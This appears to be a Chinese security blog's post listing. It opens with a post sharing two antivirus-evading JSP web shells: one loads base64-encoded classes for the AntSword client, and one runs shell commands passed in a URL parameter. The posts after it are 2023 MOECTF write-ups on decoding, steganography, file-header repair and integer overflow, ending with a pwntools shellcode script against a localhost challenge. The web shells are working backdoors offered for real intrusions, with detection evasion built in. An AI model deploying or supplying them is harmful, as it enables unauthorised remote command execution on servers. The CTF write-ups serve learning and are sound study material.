简述
最近在渗透的时候遇到需要上传jsp一句话的情况,因为目标机器有360,而且比较老旧,很多jsp一句话不是被杀就是跑不了,更有甚者上传了能执行但是连不上蚁剑,后来获取了两个不错的马,记录一下
免杀连接蚁剑jsp
<%!class AFKZ extends ClassLoader{ AFKZ(ClassLoader NGOK){ super(NGOK); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("bypass");if(cls!=null){ new AFKZ(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
这款比较适合旧的机子,而且蚁剑能连上
密码:bypass
普通免杀jsp
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String PASSWORD = "password";
String passwd = request.getParameter("pwd");
String cmd = request.getParameter("cmd");
Class rt = Class.forName("java.lang.Runtime");
java.lang.reflect.Method gr = rt.getMethod("getRuntime");
java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null), cmd);
java.io.InputStream in = process.getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
%>
这款比较普通,密码:cmd
xxx.jsp?cmd=你想执行的代码
碎碎念
好久没归纳了,感觉要被大家超过了
Read More
题目来源:2023MOECTF
题目简述
题目给了一个文本文件,里面都是喵喵喵,内容如下:
喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?
猜想
“喵喵?”出现了很多次,根据题目信息,这是莫斯电码,也就是说明“喵喵?”要么是点要么是横,同时我们猜想,“喵喵?”有三个字,那么三个“喵”在一起组成的“喵喵喵”有没有可能是另一个符号呢?
编写POC
写一个程序,先尝试将“喵喵?”换成横,“喵喵喵“换成点:
a = "喵喵? 喵喵喵喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵? 喵喵喵喵喵? 喵喵喵喵喵?喵喵? 喵喵喵喵喵? 喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵喵喵喵喵喵? 喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵?喵喵喵 喵喵喵喵喵? 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵喵喵?喵喵喵喵喵喵 喵喵喵 喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵?喵喵喵 喵喵?喵喵?喵喵? 喵喵喵喵喵喵喵喵? 喵喵?喵喵?喵喵喵喵喵喵 喵喵喵喵喵喵 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵?喵喵喵喵喵喵喵喵喵 喵喵?喵喵喵喵喵?喵喵? 喵喵喵喵喵喵喵喵?喵喵?喵喵喵喵喵? 喵喵喵喵喵?喵喵喵 喵喵?喵喵喵喵喵喵喵喵?"
b = a.replace("喵喵?","-")
c= b.replace("喵喵喵",".")
print(c)
结果如下:
Read More
题目来源:2023MOECTF
题目简述
这是一道音频隐写的题目,解压附件发现是一个音频文件
Audacity and Steghind
丢进处理文件中查看频谱图:

发现有隐藏的信息,使用steghind并且用key:youseeme解压隐藏的文件:

获得flag
解压出一个文本文件“兔兔”,暗示rabbit解密,使用youseeme上面的英文作为密匙,尝试后解出flag:

踩坑总结
1.一开始不知道steghind这个工具,导致做不出来
Read More
题目来源:2023MOECTF
题目简述
题目给了一个压缩包,并暗示这不是压缩包,解压发现有ppt字样的文件夹,猜测是ppt文件,将zip后缀改成pptx后成功打开
寻找flag
打开ppt,ctrl+a全选,然后将所有文本框的文本调成红色,发现如下flag字段:



还有一段没找到,于是将ppt解压,在xml文件中查找,最终找到:

获得flag
将flag拼凑,得到flag:moectf{2ip_?_n0_i4_pxx4!}
踩坑总结
1.一开始找了很久最后一段,后来才想到解压开文字查找
Read More
题目来源:2023MOECTF
题目简述
“锟斤拷烫烫烫”明显在暗示编码错误,下载附件,发现是一种没见过的编码:
+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-
UTF-7解码
经过尝试,知道这是utf-7编码(谁丧心病狂会用这种啊),解码后有这样的信息:
这是你的flag
a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262
但是flag用AES加密了,key是下面这行字的sha256(hash值的开头是b34edc782d68fda34dc23329)
所以说,codepage真的很重要啊(
在线转换,得到key为:
b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1
获得flag
通过aes解密后得到flag:

(注意所有都是hex)
踩坑总结
1.第一次做因为不知道utf-7而卡了很久
2.附上一些不那么常见的编码:
参考:https://blog.csdn.net/q20010619/article/details/120942973
Read More
题目来源:2023MOECTF
题目简述
又是一张打不开的图片,但这一次“牛头不对马嘴”,先导入winhex查看:

png文件头
检查发现是png的文件头:

获得flag
修改后将文件后缀改为png,打开获得flag:

是马男波杰克!!!
踩坑总结
1.一开始被jpg的后缀骗了,卡了好久
Read More
题目来源:2023MOECTF
题目简述
nc连接后回显题目信息:

要求我们输入一个数,要令这个数没有负号但等于-114514
整形溢出
根据题目信息,可以知道变量n是整形变量,c语言中整形变量的取值范围是-2 147 483 648到 2 147 483 647,当我们输入的数超过最大值时,程序会自动回滚到最小值,比如,当我们输入2 147 483 648时,我们实际上向变量存储了-2 147 483 648这个值(就像跳绳的计数器一样),所以我们要输入-114514,只需要输入更大的数,让其回滚到-114514即可
获得flag
根据上面的思路,输入4 294 852 782即可:

踩坑总结
1.一开始不知道int有范围限制,还能回滚,导致题目做不出来
Read More
题目来源:2023MOECTF
题目简述
题目为打不开的图片,下载附件后用winhex打开:

发现是一个图片文件,有exif信息但是无法打开
文件头
上网搜索相关信息,发现一种修改文件头的题型,检查发现图片的文件尾是jpeg图片的文件尾,但文件头经过修改,将文件头修改为jpeg的可以打开图片:


是一张西电的风景图
获取flag
查看文件属性,发现有flag的提示:

猜测是hex格式的flag,进行hex转字符后得到flag:

踩坑总结
1.第一次做做到解密flag的时候卡住了,不知道这是hex码,以后知道了
2.附上关于文件头隐写的知识:
常见文件文件头和隐写术总结 CTF中Misc必备
前言
对常见文件文件头和隐写术做个归纳总结
Read More
题目来源:2023MOECTF
题目简述
题目直接说了是shellcode,而且可以脚本一把梭,那就试试看吧
检查安全性
先下载附件,放到kali里面用checksec检查一下:
checksec shellcode_level0
[*] '/root/pwn/MoeCTF/shellcode0/shellcode_level0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
回显显示,没有任何过滤(canary found,NX disabled),可以尝试使用shellcraft构造shellcode
编写POC
一把梭的脚本如下:
from pwn import *
r = remote('127.0.0.1',43039)
context(log_level='debug',arch='amd64',os='linux')
payload = asm(shellcraft.sh())
print(payload)
r.sendline(payload)
r.interactive()
Read More